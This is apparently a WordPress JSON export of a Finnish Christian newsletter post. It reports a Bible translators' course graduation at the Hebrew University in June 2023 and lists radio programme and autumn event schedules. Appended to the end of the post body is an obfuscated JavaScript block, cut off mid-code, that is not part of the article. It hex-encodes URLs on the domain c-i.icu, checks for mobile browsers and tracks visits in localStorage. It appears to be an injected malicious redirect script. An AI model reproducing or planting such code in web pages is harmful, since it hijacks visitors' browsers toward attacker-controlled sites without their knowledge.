{"id":2733,"date":"2023-06-29T20:20:21","date_gmt":"2023-06-29T18:20:21","guid":{"rendered":"https:\/\/fin.bibletranslators.org\/?p=2733"},"modified":"2023-06-29T20:20:21","modified_gmt":"2023-06-29T18:20:21","slug":"juhlaa-raamattukodilla-oppilaat-saivat-todistuksensa-yliopistolla","status":"publish","type":"post","link":"https:\/\/fin.bibletranslators.org\/?p=2733","title":{"rendered":"Juhlaa Raamattukodilla &#8211; oppilaat saivat todistuksensa yliopistolla"},"content":{"rendered":"<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><a href=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/06\/Yhdeksan-opiskelijaa-Or-ja-Bob.jpeg\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"470\" src=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/06\/Yhdeksan-opiskelijaa-Or-ja-Bob-1024x470.jpeg\" alt=\"\" class=\"wp-image-2734\" srcset=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/06\/Yhdeksan-opiskelijaa-Or-ja-Bob-1024x470.jpeg 1024w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/06\/Yhdeksan-opiskelijaa-Or-ja-Bob-300x138.jpeg 300w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/06\/Yhdeksan-opiskelijaa-Or-ja-Bob-768x353.jpeg 768w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/06\/Yhdeksan-opiskelijaa-Or-ja-Bob.jpeg 1300w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n<\/div>\n\n\n<h3 class=\"wp-block-heading\">Rakkaat yst\u00e4v\u00e4t!<\/h3>\n\n\n\n<p>On aika kiitt\u00e4\u00e4 esirukouksista t\u00e4m\u00e4n kev\u00e4\u00e4n opintokurssin puolesta. Tammikuun 31. pn\u00e4 alkanut kurssi on saatu p\u00e4\u00e4t\u00f6kseen ja t\u00e4n\u00e4\u00e4n torstaina 29.6. on vietetty suuri ja iloinen, kiitollisuuden t\u00e4ytt\u00e4m\u00e4 juhla Heprealaisella yliopistolla.<\/p>\n\n\n\n<p>Yksitoista opiskelijaa yhdeks\u00e4st\u00e4 maasta sai p\u00e4\u00e4t\u00f6kseen hyvin vaativan ja intensiivisen viiden kuukauden opinto-ohjelman, jonka kuusi kurssia sis\u00e4lsiv\u00e4t yhteens\u00e4 315 tuntia Raamatun heprean tekstiin liittyvi\u00e4 opintoja sek\u00e4&nbsp;18 opintoretke\u00e4 ja niihin liittyv\u00e4t luennot. Todistusten jakotilaisuudessa kurssin opiskelijat, jotka ovat konsultteja tai konsulteiksi valmistuvia, saivat todistukset Heprealaisen yliopiston Rothbergin kansainv\u00e4lisen koulun edustajalta. Kuvassa yll\u00e4 yhdeks\u00e4n opiskelijaa sek\u00e4 Raamattukodin ty\u00f6ntekij\u00e4&nbsp;<strong>Or Nakirekanti<\/strong>&nbsp;(vas.) ja Raamattukodin uusi johtaja&nbsp;<strong>Bob Carter<\/strong>&nbsp;(oik.).<\/p>\n\n\n\n<p>Juhlassa saimme kuulla ja n\u00e4hd\u00e4 opiskelijoiden edustajien thaimaalaisen tri\u00a0<strong>Varunaj Churnain<\/strong> puheenvuoron sek\u00e4 myanmarilaisen tri\u00a0<strong>Piang Nang Sawnmin<\/strong>\u00a0rikkaan kuvaesityksen oppilaiden matkoista kautta maan. Mukana juhlassa olivat mm.\u00a0Raamattukodin akateeminen johtaja tri\u00a0<strong>Reinier de Blois<\/strong>, joka tuli tilaisuuteen ulkomailta,\u00a0<strong>Luka Manevich<\/strong>\u00a0helmikuun kurssin vet\u00e4j\u00e4, kes\u00e4kuun kurssin luennoitsijat tri\u00a0<strong>Ernst Wendland<\/strong>\u00a0ja tri\u00a0<strong>S.H<\/strong>. Lis\u00e4ksi\u00a0<strong>Halvor<\/strong>\u00a0ja min\u00e4 olimme mukana sek\u00e4 Raamattukodin t\u00e4rke\u00e4t vapaaehtoiset.\u00a0<\/p>\n\n\n\n<p>Juhlapuheissa opiskelijoita onniteltiin saavutuksistaan, mutta samalla muistutettiin suuresta vastuusta ty\u00f6ss\u00e4, joka pyrkii v\u00e4litt\u00e4m\u00e4\u00e4n Pyh\u00e4\u00e4 Jumalan sanaa toisille kansoille. Halvorille ja minulle t\u00e4m\u00e4 oli riemujuhla. N\u00e4m\u00e4 olivat ne, joita olimme seuranneet eri vaiheiden l\u00e4pi jo l\u00e4hes vuoden verran, vaikeuksineen ja haasteineen. Nyt he l\u00e4htev\u00e4t t\u00e4\u00e4lt\u00e4, saamiensa tietojen ja taitojen kanssa siunaamaan omia ja toisia kansoja maailman \u00e4\u00e4riss\u00e4. Kiitos ja ylistys Herralle.&nbsp;<\/p>\n\n\n\n<p>Kiitos mukanaolosta t\u00e4m\u00e4n vuoden aikana. Kiitos rakkaat yst\u00e4v\u00e4t esirukouksista ja taloudellisesta tuesta, jotka mahdollistivat erikoisesti t\u00e4m\u00e4n kurssin toteutumisen, kun suurimmalla osalla opiskelijoista rahoitus tyrehtyi kesken. Pyyd\u00e4mme my\u00f6s esirukousta ensi kev\u00e4\u00e4n kurssin alkaneen hakuprosessin puolesta, jotta Herra johtaisi kurssille juuri oikeat opiskelijat eri maista ja kansoista, joilta Raamattu viel\u00e4 puuttuu.<\/p>\n\n\n\n<p>Kiitos my\u00f6s kaikista terveisist\u00e4, joita saimme juhannuskonferenssista.<\/p>\n\n\n\n<p>Siunattua ja levollista kes\u00e4n aikaa.<\/p>\n\n\n\n<p><strong><em>Herran armon varassa,<\/em><\/strong><\/p>\n\n\n\n<p><strong><em>Mirja ja Halvor Ronning<\/em><\/strong><\/p>\n\n\n\n<p><br>Ps. Raamattukodin aiemmat uutiset ja kuulumiset kev\u00e4\u00e4n opintokurssista l\u00f6ytyv\u00e4t nettisivujemme etusivulta, fin.bibletranslators.org.<\/p>\n\n\n\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-1 is-layout-flex wp-block-gallery-is-layout-flex\">\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/06\/Juhlan-avaussanat-Halvor-Ronning.jpeg\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"614\" data-id=\"2735\" src=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/06\/Juhlan-avaussanat-Halvor-Ronning-1024x614.jpeg\" alt=\"\" class=\"wp-image-2735\" srcset=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/06\/Juhlan-avaussanat-Halvor-Ronning-1024x614.jpeg 1024w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/06\/Juhlan-avaussanat-Halvor-Ronning-300x180.jpeg 300w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/06\/Juhlan-avaussanat-Halvor-Ronning-768x461.jpeg 768w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/06\/Juhlan-avaussanat-Halvor-Ronning.jpeg 1360w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><figcaption class=\"wp-element-caption\">Halvor Ronningin avaussanat.<\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/06\/Reinier-de-Bloisin-puhe.jpeg\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"614\" data-id=\"2737\" src=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/06\/Reinier-de-Bloisin-puhe-1024x614.jpeg\" alt=\"\" class=\"wp-image-2737\" srcset=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/06\/Reinier-de-Bloisin-puhe-1024x614.jpeg 1024w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/06\/Reinier-de-Bloisin-puhe-300x180.jpeg 300w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/06\/Reinier-de-Bloisin-puhe-768x461.jpeg 768w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/06\/Reinier-de-Bloisin-puhe.jpeg 1200w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><figcaption class=\"wp-element-caption\">Reinier de Bloisin puhe.<\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/06\/Todistusten-jakotilaisuus-yliopistolla.jpeg\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"615\" data-id=\"2738\" src=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/06\/Todistusten-jakotilaisuus-yliopistolla-1024x615.jpeg\" alt=\"\" class=\"wp-image-2738\" srcset=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/06\/Todistusten-jakotilaisuus-yliopistolla-1024x615.jpeg 1024w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/06\/Todistusten-jakotilaisuus-yliopistolla-300x180.jpeg 300w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/06\/Todistusten-jakotilaisuus-yliopistolla-768x461.jpeg 768w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/06\/Todistusten-jakotilaisuus-yliopistolla.jpeg 1461w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><figcaption class=\"wp-element-caption\">Juhla Heprealaisella yliopistolla.<\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/06\/Thaimaalainen-opiskelija-todistuksen-kanssa.jpeg\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"614\" data-id=\"2736\" src=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/06\/Thaimaalainen-opiskelija-todistuksen-kanssa-1024x614.jpeg\" alt=\"\" class=\"wp-image-2736\" srcset=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/06\/Thaimaalainen-opiskelija-todistuksen-kanssa-1024x614.jpeg 1024w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/06\/Thaimaalainen-opiskelija-todistuksen-kanssa-300x180.jpeg 300w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/06\/Thaimaalainen-opiskelija-todistuksen-kanssa-768x461.jpeg 768w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/06\/Thaimaalainen-opiskelija-todistuksen-kanssa.jpeg 1100w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><figcaption class=\"wp-element-caption\">Thaimaalainen opiskelija Bobin ja Halvorin kanssa. <\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/06\/Haitilainen-opiskelija-todistuksen-kanssa.jpeg\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"614\" data-id=\"2739\" src=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/06\/Haitilainen-opiskelija-todistuksen-kanssa-1024x614.jpeg\" alt=\"\" class=\"wp-image-2739\" srcset=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/06\/Haitilainen-opiskelija-todistuksen-kanssa-1024x614.jpeg 1024w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/06\/Haitilainen-opiskelija-todistuksen-kanssa-300x180.jpeg 300w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/06\/Haitilainen-opiskelija-todistuksen-kanssa-768x461.jpeg 768w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/06\/Haitilainen-opiskelija-todistuksen-kanssa.jpeg 1200w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><figcaption class=\"wp-element-caption\">Yliopiston edustaja ja haitilainen opiskelija.<\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/06\/Aterialla-juhlan-jalkeen.jpeg\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"614\" data-id=\"2740\" src=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/06\/Aterialla-juhlan-jalkeen-1024x614.jpeg\" alt=\"\" class=\"wp-image-2740\" srcset=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/06\/Aterialla-juhlan-jalkeen-1024x614.jpeg 1024w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/06\/Aterialla-juhlan-jalkeen-300x180.jpeg 300w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/06\/Aterialla-juhlan-jalkeen-768x461.jpeg 768w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/06\/Aterialla-juhlan-jalkeen.jpeg 1200w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><figcaption class=\"wp-element-caption\">Aterialla juhlan j\u00e4lkeen.<\/figcaption><\/figure>\n<\/figure>\n\n\n\n<p>*****<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"alignleft size-large is-resized\"><a href=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/06\/Vieraina-Pirkko-ja-Kyllikki.jpg\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/06\/Vieraina-Pirkko-ja-Kyllikki-1024x1024.jpg\" alt=\"\" class=\"wp-image-2741\" width=\"260\" height=\"260\" srcset=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/06\/Vieraina-Pirkko-ja-Kyllikki-1024x1024.jpg 1024w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/06\/Vieraina-Pirkko-ja-Kyllikki-300x300.jpg 300w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/06\/Vieraina-Pirkko-ja-Kyllikki-150x150.jpg 150w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/06\/Vieraina-Pirkko-ja-Kyllikki-768x768.jpg 768w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/06\/Vieraina-Pirkko-ja-Kyllikki.jpg 1500w\" sizes=\"auto, (max-width: 260px) 100vw, 260px\" \/><\/a><\/figure>\n<\/div>\n\n\n<h3 class=\"wp-block-heading\">Raamattukodin yst\u00e4v\u00e4t -ohjelma Radio Patmoksessa<\/h3>\n\n\n\n<p>Ohjelmamme ovat kes\u00e4tauolla hein\u00e4kuun ajan.&nbsp;<\/p>\n\n\n\n<p>Perjantaina 4.8. ohjelmassamme ovat vieraina&nbsp;<strong>Kyllikki Markkanen<\/strong>&nbsp;ja&nbsp;<strong>Pirkko Kauhanen<\/strong>, jotka olivat vapaaehtoisina Raamattukodilla toukokuussa.<\/p>\n\n\n\n<p>Ohjelmamme\u00a0voi kuulla Radio Patmoksessa parittoman viikon perjantaina klo 16.30 ja lauantaina klo 12 uutisten j\u00e4lkeen. Taajuudet l\u00f6ytyv\u00e4t\u00a0<a rel=\"noreferrer noopener\" href=\"https:\/\/uutiskirje.bibletranslators.org\/go\/15428020-1020776-11865442\" target=\"_blank\">t\u00e4st\u00e4 linkist\u00e4<\/a>. Ohjelmat voi kuunnella my\u00f6s netist\u00e4\u00a0<a rel=\"noreferrer noopener\" href=\"https:\/\/uutiskirje.bibletranslators.org\/go\/15428022-1383827-11865442\" target=\"_blank\">radio.patmos.fi<\/a>. Jo l\u00e4hetetyt ohjelmat l\u00f6ytyv\u00e4t Radio Patmoksen arkistosta ja\u00a0<a rel=\"noreferrer noopener\" href=\"https:\/\/uutiskirje.bibletranslators.org\/go\/15428019-1323993-11865442\" target=\"_blank\">Raamattukodin nettisivulta<\/a>.\u00a0<\/p>\n\n\n\n<p>*****<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Tervetuloa Raamattukodin tilaisuuksiin j\u00e4lleen syksyll\u00e4<\/h3>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"alignright size-full is-resized\"><a href=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/06\/Bob-ja-Amy-Carter.jpeg\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/06\/Bob-ja-Amy-Carter.jpeg\" alt=\"\" class=\"wp-image-2742\" width=\"221\" height=\"295\" srcset=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/06\/Bob-ja-Amy-Carter.jpeg 750w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2023\/06\/Bob-ja-Amy-Carter-225x300.jpeg 225w\" sizes=\"auto, (max-width: 221px) 100vw, 221px\" \/><\/a><\/figure>\n<\/div>\n\n\n<p><strong>Bob Carter, Raamattukodin uusi johtaja ja SEED Companyn raamatunk\u00e4\u00e4nn\u00f6skonsultti<\/strong><br>la 2.9. Lemp\u00e4\u00e4l\u00e4n Israel-p\u00e4iv\u00e4t,&nbsp;Virta-kampus, Valkeakoskentie 19, tarkempi ohjelma&nbsp;www.betel.fi<br>su 3.9. klo 17.00 Tampere,&nbsp;vapaaseurakunta, Puutarhakatu 17<br>ti 5.9. klo 18.00 Lapua,&nbsp;helluntaiseurakunta, Asemakatu 16<br>ke 6.9. klo 19.00 Sein\u00e4joki,&nbsp;helluntaiseurakunta, Vellamonrinne 1<br>to 7.9. klo 18.00 Jyv\u00e4skyl\u00e4, Sep\u00e4nkeskus, Kyllikinkatu 1<br>la 9.9. klo 15.00 Helsinki, Tuomaankirkko, Pihlajatie 16 (Meilahden kirkon yhteydess\u00e4)<br>su 10.9. klo 16.00 Vantaa, VICF, Minttutie 20, englanninkielinen tilaisuus<\/p>\n\n\n\n<p><strong>Maarit Kattilakoski<\/strong><br>pe 22.9. klo 18.00&nbsp;Oulainen,&nbsp;Olotila, Keskuskatu 2&nbsp;<br>la&nbsp;23.9. klo 18.00 Teuva,&nbsp;helluntaiseurakunta,&nbsp;Juusentie 1<br>su 24.9. klo 14.00 Karvia, seurakuntatalo, Kirkkov\u00e4\u00e4rtintie 1<\/p>\n\n\n\n<p><strong>Kaija Turunen ja Maarit Kattilakoski<\/strong><br>la 7.10. klo 14.00 Suonenjoki,&nbsp;vapaaseurakunta, Asemakatu 3 \u2013 kahvit klo 13 alkaen<br>su 8.10. klo 16.00 Varpaisj\u00e4rvi, Helluntaiseurakunnan rukoushuone, Lapinlahdentie 24 A<br>ma 9.10. Sonkaj\u00e4rvi, Ev.lut. seurakuntasali, Rutakontie 20. Kellonaika ilmoitetaan my\u00f6hemmin.<br>ti 10.10. klo 18.30 Viitasaari, Seurakuntatalo, Pappilantie 6. Kahvit klo 18.00.<\/p>\n\n\n\n<p><strong>Maarit Kattilakoski<\/strong><br>su 15.10. klo 14.00 Lappeenranta, Lappeenrannan kirkko, Mannerheiminkatu 1. Maakunnallinen Israel-juhla.<\/p>\n\n\n\n<p>*****<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"alignright size-large is-resized\"><a href=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2018\/06\/dreamstimefree_2776893.jpg\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2018\/06\/dreamstimefree_2776893-1024x683.jpg\" alt=\"\" class=\"wp-image-1064\" width=\"187\" height=\"124\" srcset=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2018\/06\/dreamstimefree_2776893-1024x683.jpg 1024w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2018\/06\/dreamstimefree_2776893-300x200.jpg 300w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2018\/06\/dreamstimefree_2776893-768x512.jpg 768w\" sizes=\"auto, (max-width: 187px) 100vw, 187px\" \/><\/a><\/figure>\n<\/div>\n\n\n<h3 class=\"wp-block-heading\">Kiitos lahjastasi Raamattukodin ty\u00f6h\u00f6n<\/h3>\n\n\n\n<p>Raamattukoti toimii yksityisten lahjoitusten ja vapaaehtoisty\u00f6n varassa. Ne mahdollistavat Raamattukodin toiminnan ja ovat Jumalan suurta siunausta ja armoa.\u00a0<\/p>\n\n\n\n<p><a href=\"https:\/\/fin.bibletranslators.org\/?page_id=75\" target=\"_blank\" rel=\"noreferrer noopener\">Klikkaa tarkemmat tiedot t\u00e4st\u00e4.<\/a><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x72\\x78\\x65\\x32\\x63\\x322','length','_blank','mobileCheck','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x64\\x7a\\x48\\x33\\x63\\x383','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x59\\x57\\x69\\x30\\x63\\x330','random','-local-storage','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x64\\x5a\\x6c\\x37\\x63\\x357','stopPropagation','4051490VdJdXO','test','open','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x46\\x79\\x6d\\x36\\x63\\x326','12075252qhSFyR','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x65\\x62\\x42\\x38\\x63\\x348','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x74\\x77\\x6f\\x35\\x63\\x345','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))\/0x1+parseInt(_0x142fd8(0x19f))\/0x2+-parseInt(_0x142fd8(0x1a5))\/0x3+parseInt(_0x142fd8(0x198))\/0x4+-parseInt(_0x142fd8(0x191))\/0x5+parseInt(_0x142fd8(0x1a0))\/0x6+parseInt(_0x142fd8(0x195))\/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x79\\x75\\x73\\x31\\x63\\x321',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x77\\x59\\x77\\x34\\x63\\x354',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x4a\\x45\\x6f\\x39\\x63\\x349','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x365b[0x4]](_0x784bdc)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return 